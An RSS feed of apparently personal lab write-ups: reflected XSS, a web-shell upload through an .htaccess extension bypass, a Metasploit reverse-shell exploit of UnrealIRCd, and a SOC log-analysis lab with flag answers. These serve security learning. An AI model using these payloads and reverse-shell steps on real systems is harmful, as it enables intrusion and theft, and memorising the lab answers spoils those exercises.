<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Alsydbywmy on Medium]]></title>
        <description><![CDATA[Stories by Alsydbywmy on Medium]]></description>
        <link>https://medium.com/@alsydbywmy66?source=rss-b12206aad1fc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*f9IFvtH6D9MrLeWGAHPcBw.jpeg</url>
            <title>Stories by Alsydbywmy on Medium</title>
            <link>https://medium.com/@alsydbywmy66?source=rss-b12206aad1fc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 22:43:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@alsydbywmy66/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Reflected XSS into a JavaScript string with angle brackets HTML encoded]]></title>
            <link>https://medium.com/@alsydbywmy66/reflected-xss-into-a-javascript-string-with-angle-brackets-html-encoded-3f876460659a?source=rss-b12206aad1fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f876460659a</guid>
            <dc:creator><![CDATA[Alsydbywmy]]></dc:creator>
            <pubDate>Sun, 06 Sep 2026 09:13:31 GMT</pubDate>
            <atom:updated>2026-09-06T09:18:49.809Z</atom:updated>
            <content:encoded><![CDATA[<p>Here’s a clean, simple write-up you can use:</p><h3>Reflected XSS — JavaScript String Injection</h3><h3>Objective</h3><p>Exploit a reflected XSS vulnerability where the user input is reflected inside a JavaScript string and trigger alert(1).</p><h3>Steps</h3><h3>1. Test the Search Function</h3><p>Enter a random alphanumeric value in the search box, for example:</p><pre>test123</pre><h3>2. Intercept the Request</h3><p>Open <strong>Burp Suite</strong>, intercept the search request, and send it to <strong>Burp Repeater</strong>.</p><h3>3. Identify the Injection Context</h3><p>Inspect the response and observe that the search input is reflected inside a JavaScript string.</p><p>For example:</p><pre>var search = &#39;test123&#39;;</pre><h3>4. Inject the Payload</h3><p>Replace the original search value with:</p><pre>&#39;-alert(1)-&#39;</pre><p>This payload breaks out of the existing JavaScript string and injects the alert() function.</p><h3>5. Send the Request</h3><p>Send the modified request from Burp Repeater.</p><h3>6. Verify the XSS</h3><p>Right-click the request and select <strong>Copy URL</strong>.</p><p>Paste the URL into the browser and load the page.</p><p>If successful, the browser displays:</p><pre>Alert: 1</pre><h3>Result</h3><p>The lab is solved because the attacker successfully executed JavaScript through a reflected XSS vulnerability.</p><h3>Key Lesson</h3><p>When user input is reflected inside a <strong>JavaScript string</strong>, simply encoding &lt; and &gt; may not prevent XSS. The attacker can potentially <strong>escape the JavaScript string</strong> and inject JavaScript code.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f876460659a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web shell upload via extension blacklist bypass]]></title>
            <link>https://medium.com/@alsydbywmy66/web-shell-upload-via-extension-blacklist-bypass-9b5410b6d879?source=rss-b12206aad1fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b5410b6d879</guid>
            <dc:creator><![CDATA[Alsydbywmy]]></dc:creator>
            <pubDate>Sun, 06 Sep 2026 08:53:21 GMT</pubDate>
            <atom:updated>2026-09-06T08:53:21.649Z</atom:updated>
            <content:encoded><![CDATA[<p>Path Traversal / File Upload Lab — Write-up</p><h3>1. Identify the upload functionality</h3><ul><li>Log in to the lab.</li><li>Go to <strong>My Account</strong>.</li><li>Find the <strong>avatar/profile image upload</strong> feature.</li><li>Upload a normal image and observe the request in Burp Suite.</li></ul><h3>2. Capture the upload request</h3><p>In <strong>Burp → Proxy → HTTP history</strong>, find:</p><pre>POST /my-account/avatar</pre><p>Send the request to <strong>Repeater</strong>.</p><h3>3. Upload the PHP file</h3><p>Initially, the payload is:</p><pre>filename=&quot;vuln.php&quot;</pre><p>The file contains your PHP payload.</p><p>The application may prevent direct execution of .php files.</p><h3>4. Create the .htaccess file</h3><p>In Burp Repeater, modify the uploaded file:</p><pre>filename=&quot;.htaccess&quot;</pre><p>Change its content type to:</p><pre>Content-Type: text/plain</pre><p>Remove the PHP payload and replace it with:</p><pre>AddType application/x-httpd-php .l33t</pre><p>Send the request.</p><h3>5. Understand what .htaccess does</h3><p>The directive:</p><pre>AddType application/x-httpd-php .l33t</pre><p>tells Apache:</p><pre>.l33t → PHP</pre><p>Therefore, a file named vuln.l33t will be processed as PHP.</p><h3>6. Upload the PHP payload again</h3><p>Upload the same PHP payload, but change:</p><pre>vuln.php</pre><p>to:</p><pre>vuln.l33t</pre><p>Send the request.</p><h3>7. Execute the uploaded file</h3><p>Access the uploaded:</p><pre>vuln.l33t</pre><p>If the .htaccess configuration worked, the server processes the file as PHP.</p><h3>8. Read /etc/passwd</h3><p>Use the PHP payload to read:</p><pre>/etc/passwd</pre><p>The response should contain Linux account information, such as:</p><pre>root:x:0:0:root:...</pre><h3>9. Confirm the lab is solved</h3><p>The lab is successfully completed when you can retrieve the contents of:</p><pre>/etc/passwd</pre><h3>Attack chain</h3><pre>File upload<br>     ↓<br>Upload .htaccess<br>     ↓<br>.l33t mapped to PHP<br>     ↓<br>Upload vuln.l33t<br>     ↓<br>PHP execution<br>     ↓<br>Read /etc/passwd</pre><h3>Main vulnerability</h3><p>The lab demonstrates how an <strong>unrestricted/insufficiently restricted file upload</strong> combined with an Apache .htaccess configuration can lead to <strong>arbitrary PHP code execution and local file access</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b5410b6d879" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guided Pentest: Infrastructure]]></title>
            <link>https://medium.com/@alsydbywmy66/guided-pentest-infrastructure-440703ba53ba?source=rss-b12206aad1fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/440703ba53ba</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Alsydbywmy]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 17:17:29 GMT</pubDate>
            <atom:updated>2026-09-01T17:17:29.812Z</atom:updated>
            <content:encoded><![CDATA[<p>Task2: Enumeration</p><p>Enumeration is the vital first step of penetration testing, where you collect detailed information about a target’s open ports and services so you can plan your attack accurately without guessing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*b7jllK9tLwr7oUYfyXw_lg.png" /><figcaption>nmap -sV -sC -oN scan.txt 10.112.160.25</figcaption></figure><blockquote>nmap -sV -sC -oN scan.txt 10.112.160.25</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*soSGUA8LDuiMXzQzAAgZIA.png" /></figure><p>Answer &gt; 6667</p><p>Task 3 : Vulneability analysis</p><p>After scanning a target, you analyze the results by searching online or using tools like searchsploit to check if the specific service versions have known vulnerabilities or exploits you can use.</p><blockquote>searchsploit UnrealIRC</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*qEQsclU126CoJ2kIYEyHUw.png" /></figure><p>Task 4: initial access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*vMedS0I27VSWqOpo1GHrrg.png" /></figure><blockquote>msfconsole</blockquote><blockquote>search unrealircd</blockquote><blockquote>use 0</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9B0SrGURHzyz-i1x7YRTw.png" /></figure><blockquote>set RHOSTS 10.112.160.25</blockquote><blockquote>set payload cmd/unix/reverse</blockquote><blockquote>set LHOST 192.168.192.132</blockquote><blockquote>set LPORT 443</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*7DzwDXfhbzQfz0vcyOj8Jg.png" /></figure><blockquote>exploit</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*6GTQZM8VbQ2xveVPX3OKyw.png" /></figure><p>answer: THM{Pwned-Y0ur-First-Machine}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*RxSHKKqkhE3q-WwQK_TEaQ.png" /></figure><p>task 5: Post Exploitation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Ei0aCP6R-CWNvQquuJ9gkg.png" /></figure><blockquote>find / -name password* 2&gt;/dev/null</blockquote><blockquote>su root</blockquote><blockquote>cat /root/flag.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*1oj_hpYO7lpJoJ71R3yPYw.png" /></figure><p>Task 6: Reporting</p><p>Task 7: conclusion</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=440703ba53ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Logging for SOC]]></title>
            <link>https://medium.com/@alsydbywmy66/linux-logging-for-soc-a1b321bdd38e?source=rss-b12206aad1fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1b321bdd38e</guid>
            <dc:creator><![CDATA[Alsydbywmy]]></dc:creator>
            <pubDate>Tue, 25 Aug 2026 11:07:10 GMT</pubDate>
            <atom:updated>2026-08-25T11:07:10.642Z</atom:updated>
            <content:encoded><![CDATA[<h3>task2 : Working With Text Logs</h3><h3>Log Format</h3><p>Linux servers (Debian, Ubuntu, CentOS, RHEL) are increasingly targeted by malware, making log analysis critical for SOC analysts.</p><h3>Working With Logs</h3><p>Linux records events in plain-text files (mostly in /var/log), so you can read them with standard text tools rather than complex utilities. The main file to start analyzing general system events is /var/log/syslog.</p><p>q1: Which time server domain did the VM contact to sync its time?</p><p>answer : ntp.ubuntu.com</p><p>command used : grep -i ntp /var/log/syslog</p><p>q2 : What is the kernel message from Yama in <strong>/var/log/syslog</strong>?</p><p>answer : becoming mindful</p><p>command used : <em>cat /var/log/syslog | grep Yama</em></p><h3>Task 3 Authentication logs</h3><p>q1 Which IP address failed to log in on multiple users via SSH?</p><p>answer : 10.14.94.82</p><p>command used : <em>cat /var/log/auth.log | grep ssh</em></p><h3>q2 Which user was created and added to the “sudo” group?</h3><p>answer : xerxes</p><p>command used : <em>cat /var/log/auth.log | grep -E ‘useradd‘</em></p><h3>Task 4 Common Linux Logs</h3><p>q1: According to the VM’s package manager logs,<br>which version of <strong>unzip</strong> was installed on the system?</p><p>answer : 6.0–28ubuntu4.1</p><p>command used : cat /var/log/dpkg.log | grep unzip</p><p>q2: What is the flag you see in one of the users’ bash history?</p><p>answer : THM{note_to_remember}</p><p>command used : sudo cat /root/.bash_history</p><h3>Task 5 Runtime Monitoring</h3><p>q1 Which Linux system call is commonly used to execute a program?</p><p>answer : execve</p><p>q2 Can a typical program open a file or create a process bypassing system calls? (Yea/Nay)</p><p>answer : nay</p><h3>Task 6 Using Auditd</h3><p>q1 When was the <strong>secret.thm</strong> file opened for the first time? (MM/DD/YY HH:MM:SS)<br><strong>Note:</strong> Access to this file is logged with the “file_thmsecret” key.</p><p>answer : 08/13/25 18:36:54</p><p>q2</p><p>answer : naabu_2.3.5_linux_amd64.zip</p><p>command : ausearch -i -k proc_wget</p><p>q3 : Which network range was scanned using the downloaded tool?<br><strong>Note:</strong> There is no dedicated key for this event, but it’s still in auditd logs.</p><p>answer : 192.168.50.0/24</p><p>command used : grep -i “naabu” /var/log/audit/audit.log</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1b321bdd38e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>